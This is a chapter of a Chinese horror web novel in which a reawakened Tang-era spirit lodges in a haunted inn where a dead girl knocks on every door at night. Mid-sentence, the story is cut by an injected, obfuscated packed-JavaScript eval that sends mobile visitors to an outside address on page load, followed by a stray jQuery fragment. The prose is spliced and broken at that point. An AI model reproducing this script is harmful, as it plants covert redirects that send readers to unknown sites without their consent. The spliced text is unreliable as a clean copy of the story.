二楼的灯光更加昏暗。
除去令人作呕的血腥味之外,还夹杂着挥之不去的霉烂味道,似是久久未曾见阳光,也不知里头的木头,究竟腐烂了多少。
墙壁上涂抹着的石灰粉,颜色有些簇新,似是前不久才粉刷过,但动作很是粗糙,墙角边缘还残留着不少的墨绿和暗红。
南音拿着手里的钥匙,用小卡轻轻地刮了刮墙上的腻子,不出意外地看到了一些凝固了沁进了墙体里的铁锈红。
欲盖弥彰?
不,只能说明,这楼道里曾经发生过什么。而旅馆老板,暂时还不想让其他人知道。
弹指弹掉了小卡上的灰尘,就着二楼橙黄的灯光,她低头看了看上面的数字——209,在楼道的尽头。
最后一个抵达的人,分配到了最后一间房。
“大妹子,不是阿姨说你,刚刚你的举动,实在是有些冒险,就算这诡域...也要小心那林老板,记恨上你...”一如既往的热情嗓音,伴随着略显急促的步伐,从南音身后传来。
她停住了脚步,回身转望了一眼曹庭芳脸上真切的表情,按捺下了心里的疑窦,无所谓地笑了笑:“无妨。”
什么诡,会喜欢啃一块木头?
“你呀...仗着自己有实力,也别不把那些低阶的诡怪不放在眼里...指不定就会在暗地里,给你下什么套...”
“现在规则缺了一半,等今天晚上,说不得就会出什么事,可千万得多提防些...”
“要是真出了什么意外,你就来205找阿姨,姚光平那家伙是靠不住了,阿姨肯定会帮你分担...”
絮絮叨叨着,曹庭芳的声音,带着长辈特有的关怀语调,在南音的耳边持续不断地念叨着,繁琐但并不惹人厌烦。
至于那条大黄狗,也安静又规矩地站在两人身边,没有莫名犬吠,宛如忠诚的守卫者。
“好,那就多谢阿姨了。”
南音笑得乖巧温顺,软声应了下来。从曹庭芳的只言片语中,她好似明白了对方如此热情的原因——
有实力...
在曹庭芳的眼里,她好像是什么了不得的人...
是因为这一身衣服?还是...某些特别的原因?低垂着的视线,往大黄狗的身上一扫而过,她再次和曹庭芳道了一声别,才转身离开。
209的房间,和其他房间一样都是木制的,颜色偏黑胡桃色,上下半扇各自凹陷了一个方正的矩形,因为时间久远,木门老旧,遍布了一些斑驳的印迹。
而门锁的样式,与她记忆里的也并不一致,但上面的锁眼,南音还认得,尝试着黄铜的钥匙塞了进去。
未动,也未开。
轻咦了一声,纤细的手指抚上了黄铜钥匙的尾端,来回拨弄了几下,向右转了一圈时,方才听到了“啪嗒”一声。
锁扣应声而开,木门“吱呀吱呀”地向里推进,灰尘簌簌,露出了后面的房间。
与旅馆大厅一样材质的木制家具,木床、木桌、木椅、木柜...南音踩踏在木地板之上,往里走了几步,落下了几个模糊的脚印。
她的右手边是一扇半开的磨砂玻璃门,里面是从未见过的稀奇古怪的东西,但无一例外的,都有着长久使用过的痕迹,除了无处不在的灰尘,金属的表面有些许的锈渍,类似白瓷一样的椭圆形凹陷物品,上面也残留着擦拭不掉的顽固污渍。
这小小的隔间内水汽弥漫,倒有些像是梳洗的地方。
按捺不住心里的好奇,南音又往隔间里走了几步,目光平移之处,恰巧看到了镜中的自己。
镜面虽然有一层薄灰,但仍光滑透亮,衬得里面的人影,栩栩如生,活灵活现,与曾经的铜镜相比,是天壤之别。
从未如此清晰看过自己幻化后面貌的南音,一时间都有些许的恍惚,如今...到底是个什么样的时代...
为何已全然没了大唐的痕迹?
是的,上一次有意识,南音还身处在盛世大唐,跟随着高门大户的小姐,领略了一遍盛唐的风华浪漫、瑰丽绚烂。那时妖诡横行,佛教道教兴盛,她也曾偷偷化作人形,溜出去玩闹了几番。
后来灵气稀薄,南音再度沉睡了下去,但——
现在这世界,先不提那诡异的灰雾,就是这年久失修、肮脏凌乱的旅馆,还有那些奇奇怪怪、胆战心惊的人类,腥臭和霉烂混杂的古怪味道...
都让她,有些难以忍受。
活得粗糙,过得邋遢,真不是什么能待的地方...
偏偏——
她却赶在这个时候醒了。
虽醒得毫无征兆,但既然醒了,又怎么可能继续沉睡?干脆就顺着这些人,顺手推舟地参加了这个诡域。
思绪回转,她好奇地摆弄着白瓷盆上的金属物件,这里摸一下,那里摸一下,“噗呲”一声,也不知误触了哪里,突地喷薄出了一股混杂着暗红色铁锈的浊水。
“哗啦啦”的,直到浊水里的暗红色褪去,也不曾停止。
“啪嗒”,回忆着最初的模样,南音将那金属物掰回了原样,水流才“滴答滴答”地停了下来。
反复尝试了多次,也算是摸清出了其中的关窍。
接着又尝试了其他几样物价,除了淋浴间的那个蓬蓬头,突然冒出来的浊水,差点溅湿了她的衣裙,幸好南音反应很快,在闪身出去的瞬间,顺手又关掉了水龙头。
失了兴致,她也没有继续在洗浴间里逗留的心思,径直走了出去,丝毫没有注意到在角落的地漏底下,涌出了细细密密的头发丝,又再度隐了下去。
关上了隔间门,南音看了看房间里过分简朴的家具,指尖轻动,一股无形的波动弹出,席卷着床铺上的灰尘,团成一个球,落在了墙角的位置。
看着焕然一新的被褥,方才坐了上去,一边张望着眼前的房间,一边咬了一口之前放进荷包里的玉米窝窝头。
干巴,无味。
只是一口,南音就没了继续咀嚼的想法,重新塞了回去,歪了歪脑袋,想倚靠着床头稍作休息,身体却触摸到了某处的凹凸不平。
视线落去,竟然是几个刻字:“不要睁眼,不要出声,不要开门。”
像是刀子刻划的痕迹,入木三分,笔画急促凌乱,大开大合,到最后一字时,都没来得及收敛笔锋。
这算什么?其他人留下的提示?
粗略地看了几眼,南音并没有放在心上,只觉得无聊,转身躺倒在了床上,扯过一旁的被子,钻了进去,如同蚕蛹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317837|183102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一样凸起了一大块。
片刻后,又轰然坍塌,中心处,只比它处,略高了四五厘米。
暮色西沉,窗外浓稠的灰雾,都逐渐染上了墨色,时间一点一点地流转,伴随着南音入睡,悄然至深夜。
“滴答——”
“滴答——”
静谧的房间里,突然的出现了水滴坠落的声音,平白地扰人清净。原本还算正常的温度,也骤然降低了几十度,即便盖着一层棉被,也抵挡不住无孔不入的寒气。
哪怕是其他仍在睡梦中的人,也忍不住打了几个哆嗦。
屋外并没有下暴雨,但天花板仿佛就是浸了水,与墙缝的相交处,逐渐沁出了红色,凝结成黏腻暗沉的血滴,一滴一滴,接连地坠落。
就像是有人在楼上泼了一层又一层的血水...
尽管,好梦旅馆并没有三楼。
鲜血越滴越多,在房间里聚成了一滩满是鲜血的水汪,空气里的血腥味愈发严重,逐渐盖住了房屋本就存在的霉烂味。
“哒——哒——哒——”
空灵又清晰的脚步声,不知道究竟是从哪个犄角旮旯里响起,传进了众人的耳中,像是踩踏在了他们的心头。
紧接着是“嘭嘭嘭”的敲门声,从最角落的201房间开始,一道稚嫩又清脆的女童声,突兀地响起:
“妈妈!妈妈你在吗?开开门呀!”
“呜呜呜...妈妈...怎么连你也不理囡囡了...”
抽噎着的啜泣声,激荡着周围的空气又阴冷了几分,住在201房间里的黄毛小子毛建文,整个人已经哆嗦成了筛子,就连身下的木床,都配合着发出了“咯吱咯吱”的响动。
怎么好死不死的,他就是第一个到这诡域的人,又那么不凑巧的,住进了这201,毛建文简直是欲哭无泪。
他双手紧紧地环抱着自己的身体,眼睫一阵颤动,但就是不敢睁开眼,牙齿也死死地咬住自己的下嘴唇,不让自己发声。
只在心里默念着:不要睁眼,不要出声,不要开门。
没错,这几行刻划的文字,出现在了每一个房间里,也被所有人发现了,遵循着这三句文字,他们就有生的机会。
毕竟入住守则里的第四、第六条,都在暗示着,卧室是最安全的地方,其他出现的动静,都是一场幻觉。
毛建文不知道,天花板上坠落的一滴鲜血,直接融进了他的被子里,没有发出任何的动静。
空荡荡的楼道里,站着一个不到一米高的小女孩,她穿着一身红色的连衣裙,乌黑的长发披散着盖住了脖颈,怀里还抱着一个破旧的布娃娃。
裸露在外的肌肤格外的惨白,和尸体一样泛着些灰青,更遍布着如同蜘蛛网一样的缝补疤痕,眼神晦暗怨怼,直勾勾地盯着面前的木门。
等候哭喊了许久,才挪动着僵硬的身体,一点一点地踱步到了下一个房间——202的房门口,继续了同样的哭喊。
一间又一间,谁都没有落下。
也让除南音以外的所有人,在惊惧与恐慌中,煎熬挣扎。就连被曹庭芳下达了命令的大黄,只是警惕的盯着房门,不敢发出呜咽的吠声。
直到次日清晨——
“啊!死...死人了!”